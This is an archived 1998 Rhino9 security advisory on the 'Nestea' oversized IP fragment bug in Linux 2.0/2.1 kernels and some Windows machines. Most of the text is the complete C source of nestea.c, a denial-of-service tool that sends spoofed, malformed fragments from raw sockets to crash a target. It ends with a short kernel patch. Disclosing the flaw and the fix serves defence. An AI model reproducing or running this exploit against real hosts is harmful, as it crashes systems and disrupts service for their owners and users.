home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / nestea.txt < prev    next >
Encoding:
Text File  |  1998-07-23  |  13.5 KB  |  305 lines

  1. Nestea Vulnerability (Linux Oversized Fragment Vulnerability)
  2.  
  3.                     Written by humble
  4.  
  5.                     SYSTEMS AFFECTED
  6.  
  7.                     Linux 2.1.x and 2.0.x and certain Windows machines (still testing, succesfully
  8.                     dropped a WinNT box running Service Pack3.)
  9.  
  10.                     PROBLEM
  11.  
  12.                     There is a certain function (ip_glue) in the linux kernel that attempts to
  13.                     reassemble a fragmented datagram before passing it up to the upper layers of
  14.                     the ip stack. This function will determine if any particular fragment goes past
  15.                     the allocated memory for the total buffer or has been miscalculated due to
  16.                     errors or oversights in the initial assembly code. The comparison statement in
  17.                     the linux kernels forgot to take into account the size of the ip header. Since an
  18.                     ip header can reach up to 60 bytes, an attacker is able to write over 60 bytes
  19.                     in the kernel, and probably cause a system crash.
  20.  
  21.                     IMPACT
  22.  
  23.                     This will overwrite important data structures in the kernel network code and
  24.                     cause the kernel to get very confused. This will lead to a system crash or a
  25.                     situation such a system that must be rebooted.
  26.  
  27.                     EXPLOIT
  28.  
  29.                     // nestea.c by humble of rhino9 4/16/98
  30.                     // This exploits the "off by one ip header" bug in the linux ip frag code.
  31.                     // Crashes linux 2.0.* and 2.1.* and some windows boxes
  32.                     // this code is a total rip of teardrop - it's messy
  33.                     // hi sygma
  34.  
  35.                     #include <stdio.h>
  36.                     #include <stdlib.h>
  37.                     #include <unistd.h>
  38.                     #include <string.h>
  39.                     #include <netdb.h>
  40.                     #include <netinet/in.h>
  41.                     #include <netinet/udp.h>
  42.                     #include <arpa/inet.h>
  43.                     #include <sys/types.h>
  44.                     #include <sys/time.h>
  45.                     #include <sys/socket.h>
  46.  
  47.                     // bsd usage is currently broken because of socket options on the third sendto
  48.  
  49.                     #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  50.                     /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  51.                     #define FIX(n) (n)
  52.                     #else /* OpenBSD 2.1, all Linux */
  53.                     #define FIX(n) htons(n)
  54.                     #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
  55.  
  56.                     #define IP_MF 0x2000 /* More IP fragment en route */
  57.                     #define IPH 0x14 /* IP header size */
  58.                     #define UDPH 0x8 /* UDP header size */
  59.                     #define MAGIC2 108
  60.                     #define PADDING 256 /* datagram frame padding for first packet */
  61.                     #define COUNT 500 /* we are overwriting a small number of bytes we 
  62.                     shouldnt have access to in the kernel. 
  63.                     to be safe, we should hit them till they die :> */
  64.  
  65.                     void usage(u_char *);
  66.                     u_long name_resolve(u_char *);
  67.                     u_short in_cksum(u_short *, int);
  68.                     void send_frags(int, u_long, u_long, u_short, u_short);
  69.  
  70.                     int main(int argc, char **argv)
  71.                     {
  72.                     int one = 1, count = 0, i, rip_sock;
  73.                     u_long src_ip = 0, dst_ip = 0;
  74.                     u_short src_prt = 0, dst_prt = 0;
  75.                     struct in_addr addr;
  76.  
  77.  
  78.                     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  79.                     {
  80.                     perror("raw socket");
  81.                     exit(1);
  82.                     }
  83.                     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  84.                     < 0)
  85.                     {
  86.                     perror("IP_HDRINCL");
  87.                     exit(1);
  88.                     }
  89.                     if (argc < 3) usage(argv[0]);
  90.                     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  91.                     {
  92.                     fprintf(stderr, "What the hell kind of IP address is that?\n");
  93.                     exit(1);
  94.                     }
  95.  
  96.                     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  97.                     {
  98.                     switch (i)
  99.                     {
  100.                     case 's': /* source port (should be emphemeral) */
  101.                     src_prt = (u_short)atoi(optarg);
  102.                     break;
  103.                     case 't': /* dest port (DNS, anyone?) */
  104.                     dst_prt = (u_short)atoi(optarg);
  105.                     break;
  106.                     case 'n': /* number to send */
  107.                     count = atoi(optarg);
  108.                     break;
  109.                     default :
  110.                     usage(argv[0]);
  111.                     break; /* NOTREACHED */
  112.                     }
  113.                     }
  114.                     srandom((unsigned)(time((time_t)0)));
  115.                     if (!src_prt) src_prt = (random() % 0xffff);
  116.                     if (!dst_prt) dst_prt = (random() % 0xffff);
  117.                     if (!count) count = COUNT;
  118.  
  119.                     fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
  120.                     fprintf(stderr, "Death on flaxen wings (yet again):\n");
  121.                     addr.s_addr = src_ip;
  122.                     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  123.                     addr.s_addr = dst_ip;
  124.                     fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  125.                     fprintf(stderr, " Amt: %5d\n", count);
  126.                     fprintf(stderr, "[ ");
  127.  
  128.                     for (i = 0; i < count; i++)
  129.                     {
  130.                     send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  131.                     fprintf(stderr, "b00m ");
  132.                     usleep(500);
  133.                     }
  134.                     fprintf(stderr, "]\n");
  135.                     return (0);
  136.                     }
  137.  
  138.                     void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  139.                     u_short dst_prt)
  140.                     {
  141.                     int i;
  142.                     u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
  143.                     u_char byte; /* a byte */
  144.                     struct sockaddr_in sin; /* socket protocol structure */
  145.  
  146.                     sin.sin_family = AF_INET;
  147.                     sin.sin_port = src_prt;
  148.                     sin.sin_addr.s_addr = dst_ip;
  149.  
  150.                     packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
  151.                     p_ptr = packet;
  152.                     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  153.  
  154.                     byte = 0x45; /* IP version and header length */
  155.                     memcpy(p_ptr, &byte, sizeof(u_char));
  156.                     p_ptr += 2; /* IP TOS (skipped) */
  157.                     *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
  158.                     p_ptr += 2;
  159.                     *((u_short *)p_ptr) = htons(242); /* IP id */
  160.                     p_ptr += 2;
  161.                     *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
  162.                     p_ptr += 2;
  163.                     *((u_short *)p_ptr) = 0x40; /* IP TTL */
  164.                     byte = IPPROTO_UDP;
  165.                     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  166.                     p_ptr += 4; /* IP checksum filled in by kernel */
  167.                     *((u_long *)p_ptr) = src_ip; /* IP source address */
  168.                     p_ptr += 4;
  169.                     *((u_long *)p_ptr) = dst_ip; /* IP destination address */
  170.                     p_ptr += 4;
  171.                     *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  172.                     p_ptr += 2;
  173.                     *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  174.                     p_ptr += 2;
  175.                     *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
  176.  
  177.                     if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
  178.                     sizeof(struct sockaddr)) == -1)
  179.                     {
  180.                     perror("\nsendto");
  181.                     free(packet);
  182.                     exit(1);
  183.                     }
  184.  
  185.                     p_ptr = packet;
  186.                     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  187.  
  188.                     byte = 0x45; /* IP version and header length */
  189.                     memcpy(p_ptr, &byte, sizeof(u_char));
  190.                     p_ptr += 2; /* IP TOS (skipped) */
  191.                     *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
  192.                     p_ptr += 2;
  193.                     *((u_short *)p_ptr) = htons(242); /* IP id */
  194.                     p_ptr += 2;
  195.                     *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
  196.                     p_ptr += 2;
  197.                     *((u_short *)p_ptr) = 0x40; /* IP TTL */
  198.                     byte = IPPROTO_UDP;
  199.                     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  200.                     p_ptr += 4; /* IP checksum filled in by kernel */
  201.                     *((u_long *)p_ptr) = src_ip; /* IP source address */
  202.                     p_ptr += 4;
  203.                     *((u_long *)p_ptr) = dst_ip; /* IP destination address */
  204.                     p_ptr += 4;
  205.                     *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  206.                     p_ptr += 2;
  207.                     *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  208.                     p_ptr += 2;
  209.                     *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
  210.  
  211.                     if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
  212.                     sizeof(struct sockaddr)) == -1)
  213.                     {
  214.                     perror("\nsendto");
  215.                     free(packet);
  216.                     exit(1);
  217.                     }
  218.  
  219.                     p_ptr = packet;
  220.                     bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
  221.                     byte = 0x4F; /* IP version and header length */
  222.                     memcpy(p_ptr, &byte, sizeof(u_char));
  223.                     p_ptr += 2; /* IP TOS (skipped) */
  224.                     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
  225.                     p_ptr += 2;
  226.                     *((u_short *)p_ptr) = htons(242); /* IP id */
  227.                     p_ptr += 2;
  228.                     *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
  229.                     p_ptr += 2;
  230.                     *((u_short *)p_ptr) = 0x40; /* IP TTL */
  231.                     byte = IPPROTO_UDP;
  232.                     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  233.                     p_ptr += 4; /* IP checksum filled in by kernel */
  234.                     *((u_long *)p_ptr) = src_ip; /* IP source address */
  235.                     p_ptr += 4;
  236.                     *((u_long *)p_ptr) = dst_ip; /* IP destination address */
  237.                     p_ptr += 44;
  238.                     *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  239.                     p_ptr += 2;
  240.                     *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  241.                     p_ptr += 2;
  242.                     *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
  243.  
  244.                     for(i=0;i<PADDING;i++)
  245.                     {
  246.                     p_ptr[i++]=random()%255;
  247.                     } 
  248.  
  249.                     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  250.                     sizeof(struct sockaddr)) == -1)
  251.                     {
  252.                     perror("\nsendto");
  253.                     free(packet);
  254.                     exit(1);
  255.                     }
  256.                     free(packet);
  257.                     }
  258.  
  259.                     u_long name_resolve(u_char *host_name)
  260.                     {
  261.                     struct in_addr addr;
  262.                     struct hostent *host_ent;
  263.  
  264.                     if ((addr.s_addr = inet_addr(host_name)) == -1)
  265.                     {
  266.                     if (!(host_ent = gethostbyname(host_name))) return (0);
  267.                     bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  268.                     }
  269.                     return (addr.s_addr);
  270.                     }
  271.  
  272.                     void usage(u_char *name)
  273.                     {
  274.                     fprintf(stderr,
  275.                     "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  276.                     name);
  277.                     exit(0);
  278.                     }
  279.  
  280.                     SOLUTION
  281.  
  282.                     Apply the following patch to icmp_fragment.c in your
  283.                     kernel (fixes for Windows not yet determined).
  284.  
  285.                     (Patch from Alan Cox)
  286.  
  287.                     --- ip_fragment.c.old Thu Apr 16 12:25:34 1998
  288.                     +++ ip_fragment.c Thu Apr 16 12:29:02 1998
  289.                     @@ -375,7 +375,7 @@
  290.                     fp = qp->fragments;
  291.                     while(fp != NULL)
  292.                     {
  293.                     - if (fp->len < 0 || count+fp->len > skb->len)
  294.                     + if (fp->len < 0 || fp->offset+qp->ihlen+fp->len >
  295.                     skb->len)
  296.                     {
  297.                     NETDEBUG(printk("Invalid fragment list: Fragment over
  298.                     size.\n"));
  299.                     ip_free(qp);
  300.  
  301.                     The contents of this advisory are Copyright (c) 1998 the
  302.                     Rhino9 security research team, this document may be
  303.                     distributed freely, as long as proper credit is given.
  304.  
  305.